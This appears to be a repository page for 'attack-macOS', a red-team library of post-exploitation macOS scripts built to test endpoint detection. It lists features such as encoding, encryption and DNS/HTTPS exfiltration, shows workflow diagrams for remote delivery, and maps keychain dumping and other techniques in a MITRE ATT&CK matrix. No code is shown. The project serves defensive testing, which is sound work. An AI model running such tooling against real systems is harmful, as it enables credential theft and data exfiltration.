attack-macOS

KO | EN

gitlite — search

#javascript #python #golang #machine-learning #rust #macos #nodejs #windows #awesome #cli #vue #security #openai #open-source

(★ 12)

A library of post-exploitation MacOS scripts based on threat emulation, LOObins, CTI, and MITRE ATT&CK.

attack-macOS Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

![Shell](https://img.shields.io/badge/Shell-grey?style=for-the-badge&logo=gnu-bash)
 ![JXA](https://img.shields.io/badge/JXA-grey?style=for-the-badge)
 ![Swift](https://img.shields.io/badge/Swift-grey?style=for-the-badge&logo=swift)
 [![MITRE ATT&CK](https://img.shields.io/badge/%20ATT%26CK%20v15-red?style=for-the-badge)](https://attack.mitre.org/)
 ![License](https://img.shields.io/badge/Apache%202.0-grey.svg?style=for-the-badge&logo=apache)
 ![macOS Compatibility](https://img.shields.io/badge/-blue?style=for-the-badge&logo=apple)
 [![X Follow](https://img.shields.io/badge/-000000?style=for-the-badge&labelColor=black&logo=x&logoColor=white)](https://x.com/attackmacos)
 
![Technique Coverage](https://img.shields.io/badge/Technique%20Coverage-11%20(3.43%25)-grey?style=for-the-badge)
![Known Techniques](https://img.shields.io/badge/Known%20Techniques-321-red?style=for-the-badge)
![Procedure Coverage](https://img.shields.io/badge/Procedure%20Coverage-45%20(0.70%25)-grey?style=for-the-badge)
![Estimated Known Procedures](https://img.shields.io/badge/Estimated%20Known%20Procedures-6420-grey?style=for-the-badge)
 
 
 <a href="#key-features">Key Features</a> •
 <a href="#quick-start">Quick Start</a> •
 <a href="#integrations">Integrations</a>

Attack-macOS provides scripts for security teams to evaluate macOS endpoint detection and response capabilities. This project executes [Living Off The Orchard (LOLBins)](https://www.loobins.io/) techniques via standalone scripts with built-in encoding, encryption, formatting, logging, and exfiltration over DNS and HTTPS.

### Challenges

</div>

```mermaid
flowchart TD
    A1("🚫 Limited OSS testing tools")
    A2("⚡ Existing tools are tier II/III (advanced C2s)")
    A3("🛡️ Commercial tools focus on hardening and MDM")

style A1 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A2 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A3 stroke:#ff6b35,stroke-width:2px,fill:transparent
```
```mermaid
flowchart TD
    A4("📊 Limited technique and procedure coverage")
    A5("❓ Known risks are not common knowledge")
    A6("🔧 Hard to operationalize test pipelines")
  
    style A4 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A5 stroke:#ff6b35,stroke-width:2px,fill:transparent
    style A6 stroke:#ff6b35,stroke-width:2px,fill:transparent
```
##
### Solution

```mermaid
flowchart TD
    A1("✓ Build a library of attack scripts that help security teams evaluate and improve macOS endpoint detection and response capabilities.")
    style A1 stroke:#90EE90,stroke-width:2px,fill:transparent

```

### Key Features

| Feature | Description | Benefit |
|:--------|:------------|:--------|
| **Builder Tool** | YAML template, schema, and builder tool for new scripts with built-in argument parsing/validation. [Parse Args](wiki/R&D%20Library/Functions/Shell/Parse%20Args.md) | Reduces script development time and errors via automated validation. |
| **Modular Design** | Self-contained scripts for independent use or easy integration with security test frameworks. | Allows quick deployment without complex toolchains. |
| **Standardized Help** | All scripts include `--help` menus for standalone or handler-based execution. | Speeds up execution by reducing documentation lookup. |
| **macOS Native** | TTPs primarily use native macOS command-line binaries and APIs (LOObins) via shell scripts. Some TTPs use `osascript` (for JXA/AppleScript), `python3`, or `swift` for specific tasks or wrappers. The `attackmacos.sh` handler has minimal dependencies. | Produces realistic macOS telemetry by leveraging system utilities and scripting languages. |
| **MITRE ATT&CK Mapped** | Scripts and arguments map directly to the MITRE ATT&CK framework. | Aids compliance reporting and threat model alignment. |
| **Logging** | Syslog logging with JSON/CSV output formatting. [Log Output](wiki/R&D%20Library/Functions/Shell/Log%20Output.md) | Automates evidence collection; speeds up post-test analysis. |
| **Encoding and Encryption** | Offers multiple data encoding (Base64, Hex, Perl) and encryption (AES, GPG, XOR) options. [Encode Output](wiki/R&D%20Library/Functions/Shell/Encode%20Output.md) • [Encrypt Output](wiki/R&D%20Library/Functions/Shell/Encrypt%20Output.md) | Simulates evasion techniques for improved test realism. |
| **Exfiltration** | Simulates data exfiltration via HTTP/S and DNS. [Exfiltrate Data](wiki/R&D%20Library/Functions/Shell/Exfiltrate%20Data.md) | Tests attack chains to find data loss prevention gaps. |
| **CI/CD Pipeline Ready** | Integrates with security tools, automation pipelines, and CI/CD workflows. | Supports continuous security testing with less manual effort. |
| **Caldera Integration** | Native Caldera plugin for integration with red team operations. [Caldera Plugin](integrations/caldera/plugins/attackmacos/) | Streamlines Caldera deployment and execution for red teams. |
| **YAML-First Configuration** | Each technique defined in YAML with complete metadata, arguments, and MITRE ATT&CK mapping | Automated ability generation and consistent deployments |
| **Modular Design** | Self-contained scripts that work independently or combined, integrate with existing security test frameworks | Quick deployment without complex tool chains or infrastructure changes |
| **Standardized Help** | All scripts include `--help` menus for standalone execution via custom deployment frameworks | Execute without documentation lookup |
| **macOS Native** | Uses native tools and interpreters without external dependencies. See [LOLBins](https://www.loobins.io/) | Produces macOS telemetry attributed to threat actors |
| **MITRE ATT&CK Mapped** | All scripts and arguments mapped to MITRE ATT&CK framework with proper technique IDs and names | Compliance reporting and threat model alignment |
| **Multiple Output Formats** | JSON, CSV output formatting for analysis and integration | Evidence collection and post-test analysis |
| **Encoding and Encryption** | Multiple data encoding options and encryption functions including AES-256-CBC, GPG, and XOR | Test realism using evasion techniques |
| **Exfiltration** | Data exfiltration via HTTP/S or DNS protocols | Test complete attack chains and identify detection gaps in data loss prevention |
| **CI/CD Pipeline Ready** | Integrates with existing security tools, automation pipelines, and CI/CD workflows | Continuous security testing without manual intervention |

# Execution Workflow

```mermaid
flowchart TD
 A( 1: Choose your procedure script) --> A1("🐚 Shell Scripts")
 A --> A2("🟡 JXA Scripts")
 A --> A3("🐍 Python Scripts")
 A --> A4("🦉 Swift Scripts")
 
 A1 --> B( 2: Choose Delivery Method)
 A2 --> B
 A3 --> B
 A4 --> B
 
 B --> B1("🏠 Local ")
 B --> B2("☁️ Remote from GGHcurlwget</>osascript ")
 
 B1 --> C(3: ExecuteT1634: Dump Keys)
 B2 --> C
 
 C --> C1("📋 Format")
 C --> C2("🔧 Encode")
 C --> C3("🔐 Encrypt")
 C --> C4("📡 Exfiltrate")
 
 C1 --> D("📋 Log and 🔍Analyze Events")
 C2 --> D
 C3 --> D
 C4 --> D
 
 D --> D1("🎯 Identify EndpointDetection Gaps")
 
 style A1 fill:transparent,stroke:#6140E0,stroke-width:2px
 style A2 fill:transparent,stroke:#C7B300,stroke-width:2px
 style A3 fill:transparent,stroke:#3BC05A, stroke-width:2px
 style A4 fill:transparent,stroke:#47B7F8, stroke-width:2px
 style A fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
 style B fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
 style C fill:#0D0D0D,stroke:#EB5454,stroke-width:2px,color:#fff
 style D fill:#0D0D0D,stroke:#7A6AB7,stroke-width:2px,color:#fff
 style D1 fill:#1a237e,stroke:#47B7F8,stroke-width:2px,color:#fff
```

# **MacOS ATT&CK Coverage Matrix**

</div>

</div>

| Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command And Control | Exfiltration | Impact |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| ![T1133](https://img.shields.io/badge/T1133-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)External Remote Services | ![T1129](https://img.shields.io/badge/T1129-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Shared Modules | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Socket Filters | ![T1037](https://img.shields.io/badge/T1037-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Boot or Logon Initialization Scripts | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Socket Filters | ![T1557](https://img.shields.io/badge/T1557-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Adversary-in-the-Middle | ![T1033](https://img.shields.io/badge/T1033-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Owner/User Discovery | ![T1021.005](https://img.shields.io/badge/T1021.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)VNC | ![T1560.001](https://img.shields.io/badge/T1560.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Archive via Utility | ![T1205.002](https://img.shields.io/badge/T1205.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Socket Filters | ![T1567](https://img.shields.io/badge/T1567-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Web Service | ![T1561.002](https://img.shields.io/badge/T1561.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Disk Structure Wipe |
| ![T1195.001](https://img.shields.io/badge/T1195.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Compromise Software Dependencies and Development Tools | ![T1059.007](https://img.shields.io/badge/T1059.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)JavaScript | ![T1037](https://img.shields.io/badge/T1037-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Boot or Logon Initialization Scripts | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Path Interception by PATH Environment Variable | ![T1027.009](https://img.shields.io/badge/T1027.009-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Embedded Payloads | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Pluggable Authentication Modules | ![T1016.001](https://img.shields.io/badge/T1016.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Internet Connection Discovery | ![T1080](https://img.shields.io/badge/T1080-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Taint Shared Content | ![T1113](https://img.shields.io/badge/T1113-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)Screen Capture | ![T1132.001](https://img.shields.io/badge/T1132.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Standard Encoding | ![T1567.004](https://img.shields.io/badge/T1567.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Webhook | ![T1498.001](https://img.shields.io/badge/T1498.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Direct Network Flood |
| ![T1566.002](https://img.shields.io/badge/T1566.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Spearphishing Link | ![T1204.002](https://img.shields.io/badge/T1204.002-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)Malicious File | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Pluggable Authentication Modules | ![T1543](https://img.shields.io/badge/T1543-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Create or Modify System Process | ![T1556.003](https://img.shields.io/badge/T1556.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Pluggable Authentication Modules | ![T1056.001](https://img.shields.io/badge/T1056.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Keylogging | ![T1069](https://img.shields.io/badge/T1069-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Permission Groups Discovery | ![T1021.004](https://img.shields.io/badge/T1021.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)SSH | ![T1557](https://img.shields.io/badge/T1557-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Adversary-in-the-Middle | ![T1568.002](https://img.shields.io/badge/T1568.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Generation Algorithms | ![T1029](https://img.shields.io/badge/T1029-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Scheduled Transfer | ![T1491.002](https://img.shields.io/badge/T1491.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)External Defacement |
| ![T1566.001](https://img.shields.io/badge/T1566.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Spearphishing Attachment | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Cron | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Path Interception by PATH Environment Variable | ![T1546.006](https://img.shields.io/badge/T1546.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)LC_LOAD_DYLIB Addition | ![T1564.012](https://img.shields.io/badge/T1564.012-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)File/Path Exclusions | ![T1110.001](https://img.shields.io/badge/T1110.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Password Guessing | ![T1652](https://img.shields.io/badge/T1652-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Device Driver Discovery | ![T1563.001](https://img.shields.io/badge/T1563.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)SSH Hijacking | ![T1056.001](https://img.shields.io/badge/T1056.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Keylogging | ![T1071.004](https://img.shields.io/badge/T1071.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)DNS | ![T1011](https://img.shields.io/badge/T1011-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Other Network Medium | ![T1499.001](https://img.shields.io/badge/T1499.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)OS Exhaustion Flood |
| ![T1195.003](https://img.shields.io/badge/T1195.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Compromise Hardware Supply Chain | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Scheduled Task/Job | ![T1543](https://img.shields.io/badge/T1543-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Create or Modify System Process | ![T1548.003](https://img.shields.io/badge/T1548.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Sudo and Sudo Caching | ![T1222.002](https://img.shields.io/badge/T1222.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Linux and Mac File and Directory Permissions Modification | ![T1003](https://img.shields.io/badge/T1003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)OS Credential Dumping | ![T1087.002](https://img.shields.io/badge/T1087.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Account | ![T1021](https://img.shields.io/badge/T1021-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Remote Services | ![T1123](https://img.shields.io/badge/T1123-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Audio Capture | ![T1573.001](https://img.shields.io/badge/T1573.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Symmetric Cryptography | ![T1011.001](https://img.shields.io/badge/T1011.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Bluetooth | ![T1499.003](https://img.shields.io/badge/T1499.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Application Exhaustion Flood |
| ![T1195](https://img.shields.io/badge/T1195-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Supply Chain Compromise | ![T1059.002](https://img.shields.io/badge/T1059.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)AppleScript | ![T1133](https://img.shields.io/badge/T1133-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)External Remote Services | ![T1547](https://img.shields.io/badge/T1547-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Boot or Logon Autostart Execution | ![T1574.007](https://img.shields.io/badge/T1574.007-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Path Interception by PATH Environment Variable | ![T1539](https://img.shields.io/badge/T1539-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Steal Web Session Cookie | ![[T1087.001](https://raw.githubusercontent.com/darmado/ttp/discovery/accounts.sh)](https://img.shields.io/badge/T1087.001-lightgrey?style=for-the-badge&label=%2012%20&labelColor=3bc05a&color=494949)Local Account | ![T1563](https://img.shields.io/badge/T1563-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Remote Service Session Hijacking | ![T1560.003](https://img.shields.io/badge/T1560.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Archive via Custom Method | ![T1568.001](https://img.shields.io/badge/T1568.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Fast Flux DNS | ![T1020](https://img.shields.io/badge/T1020-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Automated Exfiltration | ![T1561](https://img.shields.io/badge/T1561-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Disk Wipe |
| ![T1190](https://img.shields.io/badge/T1190-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploit Public-Facing Application | ![T1106](https://img.shields.io/badge/T1106-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Native API | ![T1546.006](https://img.shields.io/badge/T1546.006-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)LC_LOAD_DYLIB Addition | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Cron | ![T1564.008](https://img.shields.io/badge/T1564.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Email Hiding Rules | ![T1555.002](https://img.shields.io/badge/T1555.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Securityd Memory | ![T1497.001](https://img.shields.io/badge/T1497.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)System Checks | ![T1072](https://img.shields.io/badge/T1072-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Software Deployment Tools | ![T1114](https://img.shields.io/badge/T1114-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Email Collection | ![T1071](https://img.shields.io/badge/T1071-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Application Layer Protocol | ![T1048.001](https://img.shields.io/badge/T1048.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Symmetric Encrypted Non-C2 Protocol | ![T1565.001](https://img.shields.io/badge/T1565.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Stored Data Manipulation |
| ![T1659](https://img.shields.io/badge/T1659-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Content Injection | ![T1059](https://img.shields.io/badge/T1059-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Command and Scripting Interpreter | ![T1547](https://img.shields.io/badge/T1547-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Boot or Logon Autostart Execution | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Scheduled Task/Job | ![T1027.013](https://img.shields.io/badge/T1027.013-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Encrypted/Encoded File | ![T1110.002](https://img.shields.io/badge/T1110.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Password Cracking | ![T1069.002](https://img.shields.io/badge/T1069.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Domain Groups | ![T1210](https://img.shields.io/badge/T1210-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exploitation of Remote Services | ![T1025](https://img.shields.io/badge/T1025-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data from Removable Media | ![T1219](https://img.shields.io/badge/T1219-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Remote Access Software | ![T1567.001](https://img.shields.io/badge/T1567.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration to Code Repository | ![T1489](https://img.shields.io/badge/T1489-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Service Stop |
| ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Default Accounts | ![T1569.001](https://img.shields.io/badge/T1569.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Launchctl | ![T1053.003](https://img.shields.io/badge/T1053.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Cron | ![T1037.002](https://img.shields.io/badge/T1037.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Login Hook | ![T1014](https://img.shields.io/badge/T1014-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Rootkit | ![[T1555.001](https://raw.githubusercontent.com/darmado/ttp/credential_access/shell/keychains.sh)](https://img.shields.io/badge/T1555.001-lightgrey?style=for-the-badge&label=%209%20&labelColor=3bc05a&color=494949)Keychain | ![T1007](https://img.shields.io/badge/T1007-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)System Service Discovery | ![T1534](https://img.shields.io/badge/T1534-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Internal Spearphishing | ![T1074.001](https://img.shields.io/badge/T1074.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Local Data Staging | ![T1659](https://img.shields.io/badge/T1659-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Content Injection | ![T1048.002](https://img.shields.io/badge/T1048.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Asymmetric Encrypted Non-C2 Protocol | ![T1499.004](https://img.shields.io/badge/T1499.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Application or System Exploitation |
| ![T1199](https://img.shields.io/badge/T1199-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Trusted Relationship | ![T1559.003](https://img.shields.io/badge/T1559.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)XPC Services | ![T1053](https://img.shields.io/badge/T1053-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Scheduled Task/Job | ![T1055](https://img.shields.io/badge/T1055-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Process Injection | ![T1548.003](https://img.shields.io/badge/T1548.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Sudo and Sudo Caching | ![T1555.005](https://img.shields.io/badge/T1555.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Password Managers | ![T1040](https://img.shields.io/badge/T1040-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Network Sniffing | ![T1570](https://img.shields.io/badge/T1570-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Lateral Tool Transfer | ![T1119](https://img.shields.io/badge/T1119-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Automated Collection | ![T1205](https://img.shields.io/badge/T1205-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Traffic Signaling | ![[T1041](https://raw.githubusercontent.com/darmado/ttp/discovery/browser_history.sh)](https://img.shields.io/badge/T1041-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Exfiltration Over C2 Channel | ![T1565.003](https://img.shields.io/badge/T1565.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Runtime Data Manipulation |
| ![T1566](https://img.shields.io/badge/T1566-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Phishing | ![T1204](https://img.shields.io/badge/T1204-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)User Execution | ![T1176](https://img.shields.io/badge/T1176-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Browser Extensions | ![T1543.004](https://img.shields.io/badge/T1543.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Launch Daemon | ![T1036.005](https://img.shields.io/badge/T1036.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Match Legitimate Name or Location | ![T1040](https://img.shields.io/badge/T1040-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Network Sniffing | ![T1135](https://img.shields.io/badge/T1135-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)Network Share Discovery | | ![T1115](https://img.shields.io/badge/T1115-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)Clipboard Data | ![T1572](https://img.shields.io/badge/T1572-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Protocol Tunneling | ![T1048](https://img.shields.io/badge/T1048-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration Over Alternative Protocol | ![T1498.002](https://img.shields.io/badge/T1498.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Reflection Amplification |
| ![[T1078](https://raw.githubusercontent.com/darmado/ttp/initial_access/guest_account.sh)](https://img.shields.io/badge/T1078-lightgrey?style=for-the-badge&label=%202%20&labelColor=3bc05a&color=494949)Valid Accounts | ![T1072](https://img.shields.io/badge/T1072-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Software Deployment Tools | ![T1037.002](https://img.shields.io/badge/T1037.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Login Hook | ![T1078.001](https://img.shields.io/badge/T1078.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Default Accounts | ![T1036.008](https://img.shields.io/badge/T1036.008-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Masquerade File Type | ![T1558](https://img.shields.io/badge/T1558-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Steal or Forge Kerberos Tickets | ![T1120](https://img.shields.io/badge/T1120-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Peripheral Device Discovery | | ![T1074.002](https://img.shields.io/badge/T1074.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Remote Data Staging | ![T1071.003](https://img.shields.io/badge/T1071.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Mail Protocols | ![T1052.001](https://img.shields.io/badge/T1052.001-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration over USB | ![T1499.002](https://img.shields.io/badge/T1499.002-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Service Exhaustion Flood |
| ![T1566.004](https://img.shields.io/badge/T1566.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Spearphishing Voice | ![T1059.004](https://img.shields.io/badge/T1059.004-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Unix Shell | ![T1205](https://img.shields.io/badge/T1205-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Traffic Signaling | ![T1546.005](https://img.shields.io/badge/T1546.005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Trap | ![T1564](https://img.shields.io/badge/T1564-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Hide Artifacts | ![T1555](https://img.shields.io/badge/T1555-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Credentials from Password Stores | ![T1082](https://img.shields.io/badge/T1082-lightgrey?style=for-the-badge&label=%20!%20&labelColor=ffde59&color=494949)System Information Discovery | | ![T1005](https://img.shields.io/badge/T1005-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Data from Local System | ![T1092](https://img.shields.io/badge/T1092-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Communication Through Removable Media | ![T1567.003](https://img.shields.io/badge/T1567.003-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Exfiltration to Text Storage Sites | ![T1491](https://img.shields.io/badge/T1491-lightgrey?style=for-the-badge&label=%20-%20&labelColor=EB5454&color=494949)Defacement |
